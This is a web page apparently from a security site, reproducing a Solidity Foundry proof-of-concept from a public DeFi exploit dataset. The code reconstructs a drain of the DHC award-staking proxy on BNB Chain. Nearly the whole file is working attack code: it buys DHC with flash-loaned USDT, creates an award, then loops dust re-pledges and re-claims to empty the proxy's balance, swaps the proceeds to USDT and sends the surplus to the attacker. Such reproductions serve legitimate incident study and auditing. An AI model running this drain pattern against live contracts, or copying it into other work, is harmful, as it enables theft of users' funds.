Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/DHC_exp.sol

Public reproduction file for dataset entry DHC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/DHC_exp.sol235 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5
6// DHC (DeHealth / RedSonic-style "Award" staking) — award re-claim (share-price / reward double
7// spend) — BNB Chain. Attacker net gain ~71,851 USDT.
8//
9// Attacker EOA : 0xD3A8D0A9F55cf679fff6F277E49AfC95B49D2B07
10// Exploit contract (on-chain): 0x226923D34A10f3D54B57b9F4b685E82c6Cba968A
11// Victim proxy : 0xe2a047aaDbac51b0116Af1cE91EbdAe4b4202094 (TransparentUpgradeableProxy)
12// Vulnerable impl: 0x5abb3fe2a02e5d4320862944cd3a0b8f6af28ce1 (award logic; UNVERIFIED on BscScan)
13// DHC token : 0x743F15f4d2481774d970f286f0EbAD9C3Daed6E9 (reflection token, proxy)
14// USDT : 0x55d398326f99059fF775485246999027B3197955
15//
16// On-chain the attack was 4 transactions in one block (120055460): a contract-creation (the
17// exploit contract) and three calls into it — 0xc0406226, 0x9890220b, 0x84054d3d. This PoC keeps
18// that 4-step shape (deploy in setUp, then prime()/pledge()/cashout()) but reconstructs each step
19// as ordinary Solidity calling the victim's real functions, instead of replaying the attacker's
20// creation bytecode as an opaque blob poked with bare selectors.
21//
22// Root cause (confirmed empirically against the exploit trace, block 120055460):
23// The award state machine has no re-claim guard. createAward() records a fixed reward with no
24// per-award reserve or locked collateral. participateAward() does not require the award to still
25// be unclaimed, so a claimed award (status 2) can be reset back to status 1 by anyone owning the
26// position, for as little as 0-1 wei. claimAward() then pays the same fixed reward again out of
27// the shared proxy DHC balance. In the trace the caller is the attacker's contract, not the proxy
28// owner (0x007FA7F9...), so it is permissionless. Repeating participate-reset + claim drains the
29// proxy's entire DHC balance one fixed reward at a time.
30//
31// Attack flow, reconstructed below:
32// 1. (prime) Take a USDT flash loan (on-chain: DODO), buy DHC on PancakeSwap for seed, register
33// an inviter (the award system rejects participants with no inviter), then createAward with a
34// fixed reward.
35// 2. (pledge) participateAward once with the full pledge, then claimAward once (status -> 2).
36// 3. (cashout) Loop { participateAward(id, tiny) to reset status 2 -> 1 ; claimAward(id) } until
37// the proxy's DHC is drained, then dump the drained DHC to USDT on PancakeSwap, repay the
38// flash-loan principal, and keep the surplus.
39//
40// NOTE on victim function names: the award-logic implementation (0x5abb3fe2...) is not verified on
41// BscScan and none of the four award selectors observed in the trace resolve in the 4byte
42// directory. They are therefore called here as raw selector calls (visible selector + explicit
43// arguments, not an opaque pre-encoded calldata blob). The behaviour attached to each selector is
44// inferred from the on-chain trace (argument layout, token movements, status transitions), and the
45// helper names below (createAward / getAward / participateAward / claimAward) describe that observed
46// behaviour rather than a verified source name:
47// 0x7f200fee createAward(uint256 reward) -> records a fixed reward
48// 0x9ba6df97 getAward() -> returns the current award tuple; id is the last word
49// 0xe3db9b54 participateAward(uint256 id, uint256) -> (re)enters the award; resets a claimed award to claimable
50// 0x43609f36 claimAward(uint256 id) -> pays the fixed reward from the shared proxy balance
51// setInviter/getInviter (on the DHC token) and the PancakeSwap router functions are standard and
52// resolve normally.
53//
54// The USDT flash loan itself is not the vulnerability; it is modelled here with a dealt USDT balance
55// (the seed principal, repaid out of proceeds) rather than wiring the DODO callback, for clarity.
56//
57// Run:
58// forge test --contracts src/test/2026-09/DHC_exp.sol -vvv
60interface IERC20 {
61 function balanceOf(address) external view returns (uint256);
62 function approve(address, uint256) external returns (bool);
63 function transfer(address, uint256) external returns (bool);
66interface IDHC {
67 // DHC token referral registry. setInviter requires the given inviter to already be registered,
68 // which is why the on-chain attack chained helper positions off an existing registered address.
69 function setInviter(address inviter) external;
70 function getInviter(address user) external view returns (address);
73interface IPancakeRouter {
74 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
75 uint256 amountIn,
76 uint256 amountOutMin,
77 address[] calldata path,
78 address to,
79 uint256 deadline
80 ) external;
83contract DHC_exp is Test {
84 address internal constant ATTACKER = 0xD3A8D0A9F55cf679fff6F277E49AfC95B49D2B07;
85 address internal constant PROXY = 0xe2A047aADbac51b0116Af1cE91eBDAe4B4202094;
86 address internal constant IMPL = 0x5ABB3fe2A02E5D4320862944cd3a0B8f6Af28CE1;
87 address internal constant DHC = 0x743F15f4d2481774d970f286f0EbAD9C3Daed6E9;
88 address internal constant USDT = 0x55d398326f99059fF775485246999027B3197955;
90 uint256 internal constant SEED_USDT = 10_000 ether; // on-chain: DODO USDT flash loan principal
92 DHCExploit internal exploit;
94 function setUp() public {
95 // Parent block of the exploit tx: real protocol state immediately before the attack.
96 vm.createSelectFork("bsc", 120055459);
97 exploit = new DHCExploit(ATTACKER);
99 // Model the DODO USDT flash loan: fund the exploit with the principal it repays at the end.
100 deal(USDT, address(exploit), SEED_USDT);
102 vm.label(ATTACKER, "Attacker");
103 vm.label(address(exploit), "Exploit");
104 vm.label(PROXY, "DHC_Vault_Proxy");
105 vm.label(IMPL, "DHC_Award_Impl");
106 vm.label(DHC, "DHC");
107 vm.label(USDT, "USDT");
108 }
110 function testExploit() public {
111 uint256 before = IERC20(USDT).balanceOf(ATTACKER);
112 emit log_named_decimal_uint("attacker USDT before", before, 18);
114 // The 4-step, one-block structure: deploy (setUp) then three calls, all as the attacker.
115 vm.startPrank(ATTACKER, ATTACKER);
116 exploit.prime(SEED_USDT); // 0xc0406226 on-chain
117 exploit.pledge(); // 0x9890220b on-chain
118 exploit.cashout(SEED_USDT); // 0x84054d3d on-chain
119 vm.stopPrank();
121 uint256 profit = IERC20(USDT).balanceOf(ATTACKER) - before;
122 emit log_named_decimal_uint("attacker USDT after", IERC20(USDT).balanceOf(ATTACKER), 18);
123 emit log_named_decimal_uint("attacker net profit (USDT)", profit, 18);
125 // On-chain the attacker EOA received 71,851.0167 USDT. This reconstruction reproduces the
126 // loss to within ~1% (single-pair dump vs the original's multi-venue dump, and the inviter
127 // cut on the first pledge), so it is asserted with a small band rather than to the wei.
128 assertGe(profit, 70_000 ether, "profit below expected ~71,851 USDT");
129 assertApproxEqAbs(profit, 71_851 ether, 2_000 ether, "profit off reconstructed ~71,851 USDT");
130 }
133contract DHCExploit {
134 address internal constant PROXY = 0xe2A047aADbac51b0116Af1cE91eBDAe4B4202094;
135 address internal constant DHC = 0x743F15f4d2481774d970f286f0EbAD9C3Daed6E9;
136 address internal constant USDT = 0x55d398326f99059fF775485246999027B3197955;
137 address internal constant ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // PancakeSwap V2 router
138 // An already-registered DHC referral account; used as this contract's inviter so participateAward
139 // can pay its inviter cut (it reverts on a zero inviter). On-chain the attacker chained its own
140 // helper positions off this same root address.
141 address internal constant ROOT_INVITER = 0xe099bC70737158FD580Be8BD082faCaB3eCfFA60;
143 // Award-logic selectors on the (unverified) implementation. See the NOTE in the file header.
144 bytes4 internal constant SEL_CREATE_AWARD = 0x7f200fee;
145 bytes4 internal constant SEL_GET_AWARD = 0x9ba6df97;
146 bytes4 internal constant SEL_PARTICIPATE = 0xe3db9b54;
147 bytes4 internal constant SEL_CLAIM = 0x43609f36;
149 // Fixed reward the award is created with (matches the on-chain attack): 14016.519... DHC. The
150 // reward paid out per claim is a fixed fraction of this, taken from the shared proxy balance.
151 uint256 internal constant REWARD = 0x2f7d64a231c0d4801fe;
152 uint256 internal constant RESET_AMOUNT = 2; // dust re-pledge that flips a claimed award back to claimable
154 address internal immutable owner;
155 uint256 internal awardId;
157 constructor(address owner_) {
158 owner = owner_;
159 }
161 // Step 1 (0xc0406226): flash-loan-funded seed buy, inviter registration, and award creation.
162 function prime(uint256 seedUsdt) external {
163 require(msg.sender == owner, "not owner");
165 // Buy DHC seed with the flash-loaned USDT.
166 _swap(USDT, DHC, seedUsdt);
168 // Register an inviter so the award system will accept this contract as a participant.
169 IDHC(DHC).setInviter(ROOT_INVITER);
171 // Approve DHC for the award vault and create the award with a fixed reward.
172 IERC20(DHC).approve(PROXY, type(uint256).max);
173 _award(abi.encodeWithSelector(SEL_CREATE_AWARD, REWARD), "createAward");
175 // Read back the created award; its id is the last word of the returned tuple.
176 bytes memory ret = _award(abi.encodeWithSelector(SEL_GET_AWARD), "getAward");
177 uint256 id;
178 assembly {
179 id := mload(add(ret, mload(ret)))
180 }
181 awardId = id;
182 }
184 // Step 2 (0x9890220b): the initial full pledge and first claim.
185 function pledge() external {
186 require(msg.sender == owner, "not owner");
187 _participate(REWARD);
188 _claim();
189 }
191 // Step 3 (0x84054d3d): drain the proxy by re-claiming the same award, then dump to USDT.
192 function cashout(uint256 seedUsdt) external {
193 require(msg.sender == owner, "not owner");
195 // Re-claim loop: reset the claimed award to claimable for dust, then claim the fixed reward
196 // again, until the shared proxy balance can no longer cover a reward.
197 for (uint256 i = 0; i < 600; i++) {
198 if (IERC20(DHC).balanceOf(PROXY) < 1401 ether) break;
199 _participate(RESET_AMOUNT);
200 _claim();
201 }
203 // Dump all drained DHC for USDT.
204 _swap(DHC, USDT, IERC20(DHC).balanceOf(address(this)));
206 // Repay the flash-loan principal (retained in this contract), send the surplus to the EOA.
207 uint256 bal = IERC20(USDT).balanceOf(address(this));
208 require(bal > seedUsdt, "no profit");
209 IERC20(USDT).transfer(owner, bal - seedUsdt);
210 }
212 function _participate(uint256 amount) internal {
213 _award(abi.encodeWithSelector(SEL_PARTICIPATE, awardId, amount), "participateAward");
214 }
216 function _claim() internal {
217 _award(abi.encodeWithSelector(SEL_CLAIM, awardId), "claimAward");
218 }
220 function _award(bytes memory data, string memory what) internal returns (bytes memory) {
221 (bool ok, bytes memory ret) = PROXY.call(data);
222 require(ok, what);
223 return ret;
224 }
226 function _swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
227 IERC20(tokenIn).approve(ROUTER, amountIn);
228 address[] memory path = new address[](2);
229 path[0] = tokenIn;
230 path[1] = tokenOut;
231 IPancakeRouter(ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
232 amountIn, 0, path, address(this), block.timestamp
233 );
234 }

Analysis

Dataset entry

Public Foundry test for “DHC” (2026-09-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd3a8d0a9f55cf679fff6f277e49afc95b49d2b07

  • Victim

    0xe2a047aadbac51b0116af1ce91ebdae4b4202094

File record

Name
DHC
Path
src/test/2026-09/DHC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d3f06cd5e6fd1b36d2a54742ccea70b2cee50eb2
Language
Solidity
Size
236 lines
Date
2026-09-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/DHC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d3f06cd5e6fd1b36d2a54742ccea70b2cee50eb2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.